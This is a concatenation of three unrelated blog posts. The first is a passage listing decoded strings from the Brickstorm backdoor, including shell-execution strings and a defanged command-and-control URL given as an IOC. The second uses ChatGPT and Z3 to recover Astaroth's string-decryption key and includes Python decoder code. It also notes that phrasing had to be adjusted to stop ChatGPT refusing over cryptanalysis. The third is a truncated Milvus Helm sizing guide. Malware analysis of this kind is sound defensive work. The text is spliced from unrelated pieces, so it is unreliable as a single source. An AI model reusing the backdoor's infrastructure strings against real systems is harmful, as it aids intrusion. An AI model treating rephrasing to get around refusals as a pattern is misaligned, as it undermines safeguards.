tls: failed to create cipher while encrypting ticket: '
tls.ConnectionState doesn\'t match'
qtls.ClientSessionState doesn't match"
qtls.CertificateRequestInfo doesn't match"
CONNECTION_REFUSED'
FLOW_CONTROL_ERROR'
STREAM_LIMIT_ERROR'
STREAM_STATE_ERROR'
INVALID_TOKEN'
APPLICATION_ERROR"
CRYPTO_BUFFER_EXCEEDED'
NO_VIABLE_PATH'
CRYPTO_ERROR (%#x)'
unknown error code: %#x'
 (frame type: %#x)'
Application error %#x"
timeout: handshake did not complete in time'
no compatible QUIC version found (we support %s, server offered %s)"
received a stateless reset with token %x'
unsupported version'
invalid first ACK range'
invalid packet number length: %d'
invalid connection ID length: %d bytes'
invalid connection ID length: %d bytes'
invalid packet number length: %d'
unknown frame type'
%s not allowed at encryption level %s'
unknown encryption level'
not a QUIC packet'
{Largest: %d, Smallest: %d}"
t%s &wire.MaxDataFrame{MaximumData: %d}'
t%s &wire.MaxStreamDataFrame{StreamID: %d, MaximumStreamData: %d}'
t%s &wire.DataBlockedFrame{MaximumData: %d}'
t%s &wire.StreamDataBlockedFrame{StreamID: %d, MaximumStreamData: %d}'
t%s &wire.MaxStreamsFrame{Type: uni, MaxStreamNum: %d}'
t%s &wire.MaxStreamsFrame{Type: bidi, MaxStreamNum: %d}"
t%s &wire.StreamsBlockedFrame{Type: uni, MaxStreams: %d}'
t%s &wire.StreamsBlockedFrame{Type: bidi, MaxStreams: %d}'
t%s &wire.NewTokenFrame{Token: %#x}'
%d exceeds the maximum stream count"
Retire Prior To value (%d) larger than Sequence Number (%d)'
invalid connection ID length: %d'
invalid connection ID length: %d'
token must not be empty'
wire.PutStreamFrame called with packet of wrong size!"
stream data overflows maximum offset'
StreamFrame: attempting to write empty frame without FIN'
%d exceeds the maximum stream count"
remaining length (%d) smaller than parameter length (%d)'
client sent a preferred_address"
wrong length for disable_active_migration: %d (expected empty)"
client sent a stateless_reset_token'
wrong length for stateless_reset_token: %d (expected 16)"
client sent an original_destination_connection_id"
client sent a retry_source_connection_id'
missing original_destination_connection_id'
missing initial_source_connection_id'
received duplicate transport parameter %#x'
invalid connection ID length: %d"
expected preferred_address to be %d long, read %d bytes'
inconsistent transport parameter length for transport parameter %#x'
initial_max_streams_bidi too large: %d (maximum %d)'
initial_max_streams_uni too large: %d (maximum %d)"
invalid value for max_packet_size: %d (minimum 1200)'
invalid value for ack_delay_exponent: %d (maximum %d)'
invalid value for max_ack_delay: %dms (maximum %dms)'
TransportParameter BUG: transport parameter %d not found'
unknown transport parameter marshaling version: %d'
RetrySourceConnectionID: %s, '
Version Negotiation packet has empty version list'
Version Negotiation packet has a version list with an invalid length"
operation not permitted"
no such process'
interrupted system call'
input/output error'
argument list too long'
exec format error'
bad file descriptor'
no child processes'
resource temporarily unavailable"
cannot allocate memory"
permission denied'
bad address'
block device required'
device or resource busy'
file exists'
no such device'
not a directory'
is a directory'
too many open files in system'
too many open files'
inappropriate ioctl for device"
text file busy'
file too large'
no space left on device'
illegal seek'
read-only file system'
too many links'
broken pipe'
numerical argument out of domain'
numerical result out of range'
file name too long"
no locks available"
function not implemented'
ENOTEMPTY'
directory not empty'
too many levels of symbolic links'
identifier removed'
channel number out of range'
level 3 halted'
level 3 reset"
link number out of range"
protocol driver not attached"
level 2 halted'
exchange full'
invalid request code"
invalid slot'
bad font file format'
device not a stream"
no data available'
timer expired'
out of streams resources'
machine is not on the network'
package not installed'
link has been severed"
advertise error'
srmount error'
communication error on send"
protocol error'
EMULTIHOP'
multihop attempted'
RFS specific error'
bad message'
EOVERFLOW"
value too large for defined data type'
file descriptor in bad state'
remote address changed"
can not access a needed shared library'
accessing a corrupted shared library'
.lib section in a.out corrupted'
invalid or incomplete multibyte or wide character'
interrupted system call should be restarted'
too many users'
EDESTADDRREQ'
destination address required'
protocol wrong type for socket"
ENOPROTOOPT'
protocol not available'
EPROTONOSUPPORT'
protocol not supported'
ESOCKTNOSUPPORT'
operation not supported'
EPFNOSUPPORT'
protocol family not supported'
EAFNOSUPPORT'
address family not supported by protocol'
EADDRINUSE'
address already in use'
EADDRNOTAVAIL"
cannot assign requested address'
ENETUNREACH'
network is unreachable'
ENETRESET'
network dropped connection on reset'
ECONNABORTED"
software caused connection abort'
ECONNRESET'
connection reset by peer"
transport endpoint is already connected'
ESHUTDOWN"
cannot send after transport endpoint shutdown'
ETOOMANYREFS'
too many references: cannot splice'
ETIMEDOUT'
connection timed out'
ECONNREFUSED"
connection refused'
EHOSTDOWN"
host is down'
EHOSTUNREACH'
EINPROGRESS'
stale file handle'
structure needs cleaning'
not a XENIX named type file'
no XENIX semaphores available'
is a named type file'
EREMOTEIO'
disk quota exceeded'
ENOMEDIUM'
no medium found'
EMEDIUMTYPE'
wrong medium type'
ECANCELED'
operation canceled'
key has expired'
EKEYREVOKED'
key has been revoked'
EKEYREJECTED'
key was rejected by service'
EOWNERDEAD'
owner died'
ENOTRECOVERABLE'
state not recoverable'
operation not possible due to RF-kill"
EHWPOISON'
memory page has hardware error'
interrupt'
illegal instruction'
trace/breakpoint trap'
bus error'
floating point exception'
user defined signal 1'
segmentation fault"
user defined signal 2'
broken pipe'
alarm clock'
terminated'
SIGSTKFLT'
stack fault'
child exited"
continued'
stopped (tty input)'
stopped (tty output)'
urgent I/O condition'
CPU time limit exceeded'
file size limit exceeded"
SIGVTALRM'
virtual timer expired'
profiling timer expired'
I/O possible'
power failure"
bad system call'
not implemented on '
unknown connection type'
short message'
invalid address'
short address'
short address'
destination unreachable'
packet too big"
time exceeded'
parameter problem'
echo request'
echo reply'
multicast listener query'
router solicitation'
router advertisement'
neighbor solicitation'
neighbor advertisement'
icmp node information query'
icmp node information response'
home agent address discovery request message'
home agent address discovery reply message"
certification path solicitation message'
certification path advertisement message'
multicast router advertisement"
multicast router solicitation'
multicast router termination'
fmipv6 messages'
rpl control message"
ilnpv6 locator update message'
mpl control message'
extended echo request'
extended echo reply'
invalid connection'
missing address'
not implemented on '
echo reply'
destination unreachable'
router advertisement'
router solicitation'
time exceeded'
parameter problem'
timestamp'
timestamp reply'
extended echo reply'
invalid connection'
missing address'
nil header'
not implemented on "
congestion BUG: decreased max datagram size from %d to %d'
received packet with unknown encryption level: %s'
Cannot drop keys for encryption level %s'
unexpected encryption level'
tIgnoring all packets below %d.'
tQueueing ACK because the first packet should be acknowledged.'
tQueueing ACK because packet %d was missing before."
tSetting ACK timer to max ack delay: %s'
tQueuing ACK because there's a new missing packet to report."
Sending ACK because the ACK timer expired.'
pto (Initial)'
pto (Handshake)'
pto (Application Data)'
invalid send mode: %d'
negative bytes_in_flight'
Cannot drop keys for encryption level %s'
invalid packet number space'
Peer doesn't await address validation any longer."
received an ACK for skipped packet number: %d (%s)'
tnewly acked packets (%d): %d'
Canceling loss detection timer. Amplification limited.'
Canceling loss detection timer. No packets in flight.'
tlost packet %d (reordering threshold)"
tsetting loss timer for packet %d (%s) to %s (in %s)'
Loss detection alarm fired in loss timer mode. Loss time: %s'
Loss detection alarm for %s fired in PTO mode. PTO count: %d'
PTO timer in unexpected encryption level: %s"
Amplification window limited. Received %d bytes, already sent out %d bytes'
Limited by the number of tracked packets: tracking %d packets, maximum %d'
Congestion limited: bytes in flight %d, window %d"
Max outstanding limited: tracking %d packets, maximum: %d'
no frames'
packet %d not found in sent packet history'
CryptoSetup: keys at this encryption level not yet available'
CryptoSetup: keys were already dropped'
decryption failed'
ClientHello'
ServerHello'
Certificate'
CertificateRequest'
CertificateVerify'
Received %s message (%d bytes, encryption level: %s)"
missing quic_transport_parameters extension"
unexpected handshake message: %d'
expected handshake message %s to have encryption level %s, has %s"
Restoring of transport parameters from session ticket failed: %s'
mismatching version. Got %d, expected %d"
Unmarshalling transport parameters from session ticket failed: %s'
Accepting 0-RTT. Restoring RTT from session ticket: %s"
error while handling the handshake message'
error while handling the handshake message"
Received 0-RTT read key for the client'
Installed 0-RTT Read keys (using %s)'
Installed Handshake Read keys (using %s)'
Installed 1-RTT Read keys (using %s)'
unexpected read encryption level'
Received 0-RTT write key for the server'
Installed 0-RTT Write keys (using %s)"
Installed Handshake Write keys (using %s)'
Installed 1-RTT Write keys (using %s)"
Dropping 0-RTT keys.'
unexpected write encryption level'
Doing 0-RTT.'
Dropping Initial keys.'
Dropping Handshake keys.'
Dropping 0-RTT keys.'
Invalid cipher suite id: %d"
error creating new AES cipher: %s"
invalid sample size'
invalid sample size'
quic: HKDF-Expand-Label invocation failed unexpectedly'
client in'
server in"
unexpected Retry integrity tag length: %d"
failed to read session ticket revision'
unknown session ticket revision: %d"
failed to read RTT'
unmarshaling transport parameters from session ticket failed: %s"
rest when unpacking token: %d"
token too short: %d"
quic-go token source'
Dropping key phase %d ahead of scheduled time. Drop time was: %s'
Starting key drop timer to drop key phase %d (in %s)'
unknown cipher suite %d"
Dropping key phase %d'
keys updated too quickly'
Peer updated keys to %d'
Peer confirmed key update to phase %d'
received ACK for key phase %d, but peer didn't update keys"
Initiating key update to key phase %d'
received %d bytes for the connection, allowed %d bytes'
Increasing receive flow control window for the connection to %d kB'
flow controller reset after reading data'
received inconsistent final offset for stream %d (old: %d, new: %d bytes)'
Increasing receive flow control window for stream %d to %d kB'
duplicate stream data'
0-RTT rejected'
too many open streams'
negative packetBuffer refCount"
packetBuffer refCount not zero'
putPacketBuffer called with packet of wrong size!'
Received %d packets after sending CONNECTION_CLOSE. Retransmitting."
Error retransmitting CONNECTION_CLOSE: %s'
invalid value for Config.MaxIncomingStreams'
retired connection ID %d (highest issued: %d)'
received conflicting connection IDs for sequence number %d'
received conflicting stateless reset tokens for sequence number %d'
expected first connection ID to have sequence number 0'
expected first connection ID to have sequence number 0'
Activating reading of ECN bits for IPv4 and IPv6.'
Activating reading of ECN bits for IPv4.'
Activating reading of ECN bits for IPv6."
activating ECN failed for both IPv4 and IPv6'
Activating reading of packet info for IPv4 and IPv6.'
activating packet info failed for both IPv4 and IPv6'
received invalid offset %d on crypto stream, maximum allowed %d'
received crypto data after change of encryption level'
encryption level changed, but crypto stream has more data to read"
received CRYPTO frame with unexpected encryption level: %s'
Discarding DATAGRAM frame (%d bytes payload)'
stream %d canceled with error code %d'
too many gaps in received data'
no gap found'
no gap found"
frame sorter BUG: read position higher than a gap'
cannot use different stateless reset keys on the same packet conn'
cannot use different tracers on the same packet conn'
failed to determine receive buffer size: %w'
Conn has receive buffer of %d kiB (wanted: at least %d kiB)'
failed to increase receive buffer size: %w'
failed to determine receive buffer size: %w'
failed to increase receive buffer size (wanted: %d kiB, got %d kiB)'
Increased receive buffer size to %d kiB'
Not adding connection ID %s, as it already exists."
Adding connection ID %s.'
Not adding connection ID %s for a new session, as it already exists."
Adding connection IDs %s and %s for a new session.'
Removing connection ID %s after it has been retired.'
Replacing session for connection ID %s with a closed session."
Removing connection ID %s for a closed session after it has been retired.'
Temporary error reading from conn: %w'
error parsing connection ID on packet from %s: %s"
received a packet with an unexpected connection ID %s'
Received a stateless reset with token %#x. Closing session.'
Sending stateless reset to %s (connection ID: %s). Token: %#x'
Error sending Stateless Reset: %s'
an\'t determine encryption level'
unknown encryption level'
unexpected encryption level: %s'
PacketPacker BUG: packet too large (%d bytes, allowed %d bytes)'
packetPacker BUG: Peeked and Popped packet numbers do not match'
unknown packet type: %s'
Packet too small. Expected at least 20 bytes after the header, got %d'
BUG: readPosInFrame (%d) > frame.DataLen (%d) in stream.Read"
Read on stream %d canceled with error code %d'
STREAM frames are handled with their respective streams.'
unexpected encryption level: %s'
sendQueue.Send would have blocked'
numOutStandingFrames negative'
close called for canceled stream %d'
%s is not a valid QUIC version'
Listening for %s connections on %s"
server closed'
Dropping packet from %s (%d bytes). Server receive queue full.'
Dropping Version Negotiation packet.'
Error parsing packet: %s'
misrouted packet: %#v'
Dropping a packet that is too small to be a valid Initial (%d bytes)"
Dropping long header packet of type %s (%d bytes)'
<- Received Initial packet.'
Error occurred handling initial packet: %s'
too short connection ID'
Error sending INVALID_TOKEN error: %s'
Error sending Retry: %s"
Error rejecting connection: %s'
Changing connection ID to %s.'
Changing connection ID to %s.'
Client sent an invalid retry token. Sending INVALID_TOKEN to %s.'
Client offered version %s, sending Version Negotiation'
Error composing Version Negotiation: %s'
Error sending Version Negotiation: %s'
closing session in order to recreate it"
Sending a keep-alive PING to keep the connection alive.'
Connection %s closed.'
error parsing packet: %s'
Dropping packet with version %x. Expected %x.'
coalesced packet has different destination connection ID: %s, expected %s'
Parsed a coalesced packet. Part %d: %d bytes. Remaining: %d bytes."
Dropping %s packet (%d bytes) because we already dropped the keys.'
Dropping %s packet (%d bytes) that could not be unpacked. Error: %s"
<- Reading packet %d (%d bytes) for connection %s, %s"
Dropping (potentially) duplicate packet.'
Ignoring Retry.'
Ignoring Retry, since we already received a packet.'
Ignoring Retry, since a Retry was already received.'
gnoring spoofed Retry. Integrity Tag doesn\'t match.'
<- Received Retry:'
Switching destination connection ID to: %s'
Error parsing Version Negotiation packet: %s'
Received a Version Negotiation packet. Supported Versions: %s'
No compatible QUIC version found.'
Switching to QUIC version %s.'
empty packet"
Received first packet. Switching destination connection ID to: %s'
unexpected PATH_RESPONSE frame'
received a HANDSHAKE_DONE frame'
DATAGRAM frame too large"
Destroying session: %s'
Destroying session with error: %s'
Peer closed session with error: %s'
Error sending CONNECTION_CLOSE: %s'
Restoring Transport Parameters: %s"
Processed Transport Parameters: %s'
expected initial_source_connection_id to equal %s, is %s'
expected original_destination_connection_id to equal %s, is %s'
missing retry_source_connection_id'
expected retry_source_connection_id to equal %s, is %s"
received retry_source_connection_id, although no Retry was performed'
session BUG: couldn't pack %s probe packet"
session BUG: unspecified error type (msg: %s)'
-> Sending coalesced packet (%d parts, %d bytes) for connection %s'
-> Sending packet %d (%d bytes) for connection %s, %s"
-> Sending packet %d (%d bytes) for connection %s, %s'
shouldn't queue undecryptable packets after handshake completion"
Dropping undecryptable packet (%d bytes). Undecryptable packet queue full."
deadline exceeded'
peer attempted to open receive stream %d'
peer attempted to open send stream %d'
tried to delete unknown incoming stream %d'
tried to delete incoming stream %d multiple times'
tried to delete unknown incoming stream %d'
tried to delete incoming stream %d multiple times'
peer attempted to open stream %d'
tried to delete unknown outgoing stream %d'
peer attempted to open stream %d'
tried to delete unknown outgoing stream %d'
RSA PRIVATE KEY'
CERTIFICATE'
1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
127.0.0.1:0'
127.0.0.2:0'
conn closed'
conn closed"
endpoint i/o timeout'
UpdateConnState"
implement me'
6ba7b810-9dad-11d1-80b4-00c04fd430c8'
6ba7b811-9dad-11d1-80b4-00c04fd430c8"
6ba7b812-9dad-11d1-80b4-00c04fd430c8'
6ba7b814-9dad-11d1-80b4-00c04fd430c8'
invalid UUID (got %d bytes)'
invalid UUID length: %d'
urn:uuid:'
invalid urn prefix: %q'
invalid UUID format'
invalid UUID format'
invalid UUID format"
read timeout'
write timeout'
unreachable'
conn closed'
TimeDeadline'
already closed'
127.0.0.2:'
127.0.0.1:'
not found %s'
i/o deadline reached'
stream closed'
unexpected flag'
remote end is not accepting connections'
keepalive timeout'
backlog must be positive'
keep-alive interval must be positive'
MaxStreamWindowSize must be larger than %d'
both Logger and LogOutput may not be set, select one'
one of Logger or LogOutput must be set, select one'
unhandled state'
[ERR] yamux: unexpected FIN flag in state %d'
[ERR] yamux: Failed to read stream data: %v'
[ERR] yamux: aborted stream open without inflight syn semaphore'
[ERR] yamux: aborted stream open (destination=%s): %v'
[ERR] yamux: keepalive failed: %v'
[ERR] yamux: Failed to write header: %v'
reset by peer'
[ERR] yamux: Failed to read header: %v"
[ERR] yamux: Invalid protocol version: %d"
[WARN] yamux: Discarding data for stream: %d'
[ERR] yamux: Failed to discard data: %v'
[WARN] yamux: frame for missing stream: %v'
[WARN] yamux: failed to send go away: %v'
[WARN] yamux: failed to send go away: %v'
[WARN] yamux: failed to send ping reply: %v'
[ERR] yamux: received protocol error go away'
yamux protocol error'
[ERR] yamux: received internal error go away"
remote yamux internal error'
[ERR] yamux: received unexpected go away"
unexpected go away received'
[ERR] yamux: duplicate stream declared"
[WARN] yamux: failed to send go away: %v'
[WARN] yamux: backlog exceeded, forcing connection reset'
[ERR] yamux: SYN tracking out of sync'
Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d'
stream id overflows, should start a new connection"
operation would block on IO'
unsupported protocol version'
keep-alive interval must be positive'
keep-alive timeout must be larger than keep-alive interval"
max frame size must be positive'
max frame size must not be larger than 65535'
max receive buffer must be positive'
max stream buffer must be positive'
max stream buffer must not be larger than max receive buffer'
max stream buffer cannot be larger than 2147483647"
allocator Put() incorrect buffer size'
both channel are nil'
ALL_PROXY'
all_proxy'
connection forbidden'
network unreachable'
TTL expired'
command not supported'
websocket: close sent"
websocket: read limit exceeded'
websocket: write timeout'
websocket: bad write message type'
websocket: write closed"
websocket: invalid control frame'
websocket: bad handshake'
websocket: invalid compression negotiation'
malformed ws or wss URL'
websocket: internal error, unexpected bytes at end of flate stream'
proxy: unknown scheme: '
proxy: no support for SOCKS5 proxy connections of type '
proxy: failed to parse port number: '
proxy: port number out of range: '
proxy: failed to write greeting to SOCKS5 proxy at '
proxy: failed to read greeting from SOCKS5 proxy at '
proxy: SOCKS5 proxy at '
 has unexpected version '
proxy: SOCKS5 proxy at '
 requires authentication'
proxy: failed to write authentication request to SOCKS5 proxy at '
proxy: failed to read authentication reply from SOCKS5 proxy at '
proxy: SOCKS5 proxy at "
 rejected username/password'
proxy: destination host name too long: '
proxy: failed to write connect request to SOCKS5 proxy at "
proxy: failed to read connect reply from SOCKS5 proxy at "
unknown error'
proxy: SOCKS5 proxy at '
 failed to connect: '
proxy: failed to read domain length from SOCKS5 proxy at '
proxy: got unknown address type '
 from SOCKS5 proxy at '
proxy: failed to read address from SOCKS5 proxy at '
Sec-Websocket-Extensions'
websocket: close '
 (normal)'
 (going away)'
 (protocol error)'
 (unsupported data)"
 (no status)'
 (abnormal closure)"
 (invalid payload data)'
 (policy violation)'
 (message too big)'
 (mandatory extension missing)'
 (internal server error)'
 (TLS handshake error)'
websocket: internal error, extra used in client mode'
concurrent write to websocket connection"
concurrent write to websocket connection'
unexpected reserved bits 0x'
message start before final message frame"
continuation after final message frame'
unknown opcode '
incorrect mask flag"
invalid close code'
invalid utf8 payload in close frame'
websocket: "
repeated read on failed websocket connection'
websocket: internal error, unexpected text or binary in Reader'
websocket'
Connection'
Sec-WebSocket-Key'
Sec-WebSocket-Version'
Sec-WebSocket-Protocol'
Connection'
Sec-Websocket-Key'
Sec-Websocket-Version'
Sec-Websocket-Extensions'
Sec-Websocket-Protocol'
websocket: duplicate header not allowed: "
Sec-Websocket-Protocol"
Sec-WebSocket-Protocol'
Sec-WebSocket-Extensions'
permessage-deflate; server_no_context_takeover; client_no_context_takeover"
websocket'
Connection'
Sec-Websocket-Accept"
permessage-deflate'
Proxy-Authorization'
socks connect'
socks bind'
succeeded'
general SOCKS server failure'
connection not allowed by ruleset'
network unreachable'
TTL expired'
command not supported'
nil context'
nil context'
network not implemented'
command not implemented'
username/password authentication failed'
unsupported authentication method '
too many authentication methods'
unexpected protocol version '
no acceptable authentication methods"
unknown address type'
FQDN too long'
unexpected protocol version '
unknown error '
non-zero reserved field'
unknown address type '
ALL_PROXY'
all_proxy'
failed to dial: %s'
User-Agent'
User-Agent'
failed to dial %s:%s, Err:%s"
method is not allowed'
no matching route was found'
mux: duplicated route variable %q'
mux: path must start with a slash, got %q'
mux: missing name or pattern in %q'
%s(?P<%s>%s)'
mux: unbalanced braces in %q'
mux: unbalanced braces in %q'
nil pointer to error encoder'
/WindowsDriver/'
invalid range: failed to overlap"
127.0.0.1:0"
Content-Type'
text/html; charset=utf-8'
ailed: %s\n"
uploadFile"
ailed: %s\n'
rror: %s\n'
re>up over\n%s sha256sum: %x\n</pre>'
<a style=\'text-decoration: none;\' href="%s/">%s</a></p>\n'
Error reading directory'
Content-Type"
text/html; charset=utf-8'
style=\'text-decoration: none;\'  href="%s"><h5>..</h5></a>\n'
a style='text-decoration: none;'><h5>now at: %s</h5></a>\n"
otal %d\n'
Content-Type'
seeker can't seek"
Content-Type'
Content-Range'
bytes */%d'
Content-Range'
Content-Type'
multipart/byteranges; boundary="
Accept-Ranges'
If-Unmodified-Since"
If-None-Match'
If-Modified-Since'
Last-Modified'
Content-Type"
Content-Length'
Last-Modified"
/index.html'
Last-Modified'
404 page not found'
403 Forbidden'
bytes %d-%d/%d'
Content-Range'
Content-Type'
invalid range"
invalid range'
invalid range'
invalid range"
invalid range'
unsupported'
/dev/ptmx'
/dev/pts/'
wss://natsupport[.]net/api'
/opt/vmware/vpostgres/current/bin/pg_update'
/usr/sbin'
rpclistener'
/usr/sbin/rpclistener'
exit status 121"
f\xff'
(empty)'
%x'
Initial'
0'
1'
Server'
Client'
Initial'
 '
 '
 '
cpu."
\n'
on'
\n'
\n'
avx512'
avx512f"
bmi1'
bmi2'
erms'
popcnt'
rdrand'
rdseed"
sse3'
)'
*'
.'
derived'
derived'
.'
derived'
derived'
tls13 '
: '
->'
, '
t%s %#v"
ENOENT'
ENOEXEC'
ECHILD'
EAGAIN'
ENOMEM'
EACCES"
EFAULT'
ENOTBLK'
EEXIST'
ENOTDIR"
EISDIR'
EINVAL'
EMFILE'
ENOTTY'
ETXTBSY'
ENOSPC'
ESPIPE'
EMLINK'
EDOM'
ERANGE'
EDEADLK'
ENOLCK'
ENOSYS'
ENOMSG'
ECHRNG'
EL3HLT'
EL3RST'
ELNRNG'
EUNATCH'
ENOCSI'
ENOANO"
EBADSLT'
EBFONT'
ENOSTR'
ENODATA'
ENONET'
ENOPKG'
EREMOTE'
EADV'
ESRMNT"
EPROTO'
EDOTDOT'
EBADMSG'
EREMCHG'
ELIBACC'
ELIBBAD'
ELIBSCN'
ELIBMAX'
EILSEQ'
EUSERS'
ENOBUFS'
EUCLEAN'
ENOTNAM'
ENAVAIL'
EISNAM'
ENOKEY'
ERFKILL'
SIGHUP'
hangup'
SIGINT'
SIGQUIT'
quit'
SIGILL'
SIGTRAP'
SIGABRT"
aborted'
SIGBUS'
SIGFPE'
SIGKILL'
killed'
SIGUSR1'
SIGSEGV"
SIGUSR2'
SIGPIPE'
SIGALRM"
SIGTERM'
SIGCHLD'
SIGCONT'
SIGSTOP'
stopped'
SIGTTIN'
SIGTTOU'
SIGURG'
SIGXCPU'
SIGXFSZ'
SIGPROF'
SIGPWR'
SIGSYS'
solaris'
netbsd'
openbsd'
/'
recvmsg'
android'
illumos'
windows'
tcp6'
udp6'
/'
/'
read'
none'
quic hp'
quic hp'
tls13 '
quic ku'
 '
 '
server'
init'
suspend'
none'
null'
server'
cc|)'
exit'
Remove'
closed'
timeout'
\xff'
socks5'
tcp4'
: '
: '
: '
: '
: '
: '
: '
: '
"'
;'
='
: '
:'
]'
http'
Upgrade'
13'
, '
Host'
Upgrade'
upgrade'
http'
:'
Basic '
CONNECT"
 '
socks '
tcp4'
Origin'
smux'
http'
socks5'
/'
/'
/'
/'
:'
[/]?'
='
:'
='
='
&;'
v'
/'
/'
/'
&'
&lt;'
>'
&gt;'
"'
%v'
%v'
/'
Post'
/api'
windows'
/'
/'
pre>\n'
/'
/pre>\n'
%.2fMB'
%.2fGB'
%.2fTB'
%.2fEB'
HEAD'
W/'
W/'
W/'
Etag'
Etag'
Etag'
Etag'
./'
/'
/'
/'
/'
bytes='
,'
-'
nil EOF'
/'
# '
 '
exit'
cd'
n'
nil EOF'
/bin/sh'
-c'
nil EOF'
ICMP'
n'
 '
 '
/'
:'
SETENV1'
SETENV2'
true'
TERM'
USER'
PATH'
TERM'
USER'
true'
PATH'

IOCs

wss://natsupport[.]net/api

References

1: https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign

2: https://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries

3: https://research.openanalysis.net/garble/go/obfuscation/strings/2023/08/03/garble.html

4: https://github.com/burrowers/garble

Decoding Brickstorms Garble strings was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

In this blog I want to demonstrate a scenario that I run into occasionally as a Reverse Engineer. There are plenty of excellent write-ups on Astaroth from a technical perspective[1,2] so I decided to utilize existing analysis and leverage ChatGPT[5] for aiding in analysis of a binary sample.

The sample below was primarily leveraged to turn existing work into a script that leverages a SMT[6] to find the key for the string decoding instead of relying on recovering the key from the binary:

d3737da15c3439efd0aecf0492573c81bb24d25c6ce510da6da048cee671e3d7

It’s good when using others research to verify the same code patterns, in this case I used their work to quickly map out the relevant decrypt functions in the binary:

Now I take the code from both blogs and use that info to combine them into a single function based primarily on the Acronis blog code:

def decode(s):
    #decrypt
    key = b"XYQMDOW8"
    s = bytes.fromhex(s)
    out1 = b""
    for i in range(1, len(s)):
        k = s[i - 1]
        b = s[i]
        a = b ^ key[(i - 1) % len(key)]
        if a > k:
            a = a - k
        else:
            a = a + 255 - k
        out1 += bytes([a & 0xff])

    #decrypt2
    out2 = b""
    for c in out1[::-1]:
        c = ~(c - 0x0A) & 0xFF
        out2 += bytes([c])

    #decrypt3
    key = out2[0] - 0x41
    out3 = b""
    for i in range(1, len(out2), 2):
        c = out2[i + 1] - 0x41 + ((out2[i] - 0x41) * 25) - key - 0x64
        out3 += bytes([c & 0xFF])

    return out3

I noticed when questioning ChatGPT you have to be slightly cognizant of the phrasing else ChatGPT will get stuck in a cycle of complaining about cryptanalysis.

After inputting the code, ChatGPT expected the input and output mentioned previously:

Next it dumps out the code with the additional Z3 functionality:

Running the code out of the box gave an incorrect key:

 % python3 chatgpt.py 
Z3 check: sat
Recovered key (raw bytes): b'x9QMDOW8'
Recovered key (ASCII): x9QMDOW8

So, a character constraint is added based on known keys:

allowed_vals = [ord(c) for c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"]
charset_constraints = [Or([key[i] == v for v in allowed_vals]) for i in range(len(key))]
solver.add(charset_constraints)

This gives us the correct key:

% python3 chatgpt.py
Z3 check: sat
Recovered key (raw bytes): b'XYQMDOW8'
Recovered key (ASCII): XYQMDOW8

In this blog[2] there is also listed more strings we can try that are using a different key so we can test further:

decode((int)L"87647C0D8B7C0AE3F2E8F0961FDF", &JoeBox, a1, a2, a3);// JoeBox

s_hex = "87647C0D8B7C0AE3F2E8F0961FDF"
expected_out3 = b"JoeBox"

% python3 chatgpt.py
Z3 check: sat
Recovered key (raw bytes): b'XY7F85HH'
Recovered key (ASCII): XY7F85HH

Close but let’s try a different string that is longer:

s_hex = "726B7210966F1AEFF99801F4F295602EB9D9C0B335C0B55C48A5"
expected_out3 = b"HookExplorer"

% python3 chatgpt.py
Z3 check: sat
Recovered key (raw bytes): b'XY7F852V'
Recovered key (ASCII): XY7F852V

That one produced the correct key so it looks like we would probably need two known strings to then test the produced key against or we just need to focus on specific length strings and loop through them looking for potential keys for other samples.

References

1: https://www.acronis.com/en/tru/posts/astaroth-unleashed/

2: https://github.com/purplededa/Astaroth---Malware-Analysis-Report?tab=readme-ov-file

3: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/astaroth-banking-trojan-abusing-github-for-resilience/

4: https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth

5: https://chatgpt.com/

6: https://github.com/Z3Prover/z3

Utilizing ChatGPT for Decoding Astaroth Strings was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

What does it all mean? Why does a queryNode need a whopping 16GB of RAM while a queryCoordinator (as we’ll see later) only needs 0.5GB?

The Challenge: From Data Science to DevOps

This isn’t just a configuration file; it is a blueprint for your application’s performance, scalability and cost. For many data scientists, it is an intimidating black box. This creates several key challenges:

• Performance Bottlenecks: When search is slow or data ingestion stalls, where do you look? Is it a CPU limit on the proxy? A memory shortage on the queryNode? Guessing is inefficient and can lead to a frustrating user experience.
• Communication Gaps: It’s difficult to collaborate with your Infrastructure or DevOps team if you can’t speak their language. Telling them “search is slow” is far less effective than saying “Our query volume has doubled and I suspect we’re hitting a memory ceiling on our queryNodes. Can we monitor their usage and plan to scale them up?”
• Inefficient Scaling and Cost: Without understanding the role of each component, you might over-provision resources leading to wasted cloud spend or under-provision limiting your application’s performance.

Today, we’re going to break down a typical helm config yaml for Milvus. Specifically, we will look at the resources requirements mentioned in the config and discuss how these affect the performance of VectorDB. This understanding will help diagnose performance issues, plan for scale and communicate effectively with Infrastructure team. The following discussion applies to a Milvus instance deployed in distributed mode (on Kubernetes) using Milvus Helm charts. However, the learnings can be extended to make resource related decisions for other deployment modes as well.

Precursors

· Milvus is an open-source vector database specifically designed for efficient similarity search. It helps in storing, indexing and querying vector embeddings generated from unstructured data, enabling AI applications like semantic search, image recognition and recommendation systems to quickly find semantically similar data.

· Helm is the package manager for Kubernetes. It bundles all necessary Kubernetes resources and configurations into a single, version-controlled unit called a “Chart”. For Milvus specifically, the official Milvus Helm Chart is used to easily configure resources like CPU, memory and replicas for each of its services (e.g., queryNode, minio, proxy) by providing simple YAML override values.

The Big Picture: A City of Microservices

Think of a Milvus cluster not as a single program, but as a group of specialized workers. Each worker has a specific job and they all communicate to get things done.

These workers can be grouped into three main categories:

1. The Brains (Coordinators): The management layer that directs traffic and keeps track of everything.
2. The Brawn (Worker Nodes): The heavy lifters that handle data, build indexes and run searches.
3. The Backbone (Dependencies): The essential infrastructure like storage, messaging and memory.

The Brains: The Coordinator Nodes

These are the managers. They are generally lightweight because they delegate the hard work. They mostly handle metadata, not the raw vector data itself.

💡 Key Insight: Notice how small the resource requests are for these components (0.5 to 1 CPU and 0.5 to 2GiB of memory). They are orchestrators, not workers. Keeping them separate allows Milvus to scale its management and data-handling capabilities independently.

The Brawn: The Worker Nodes

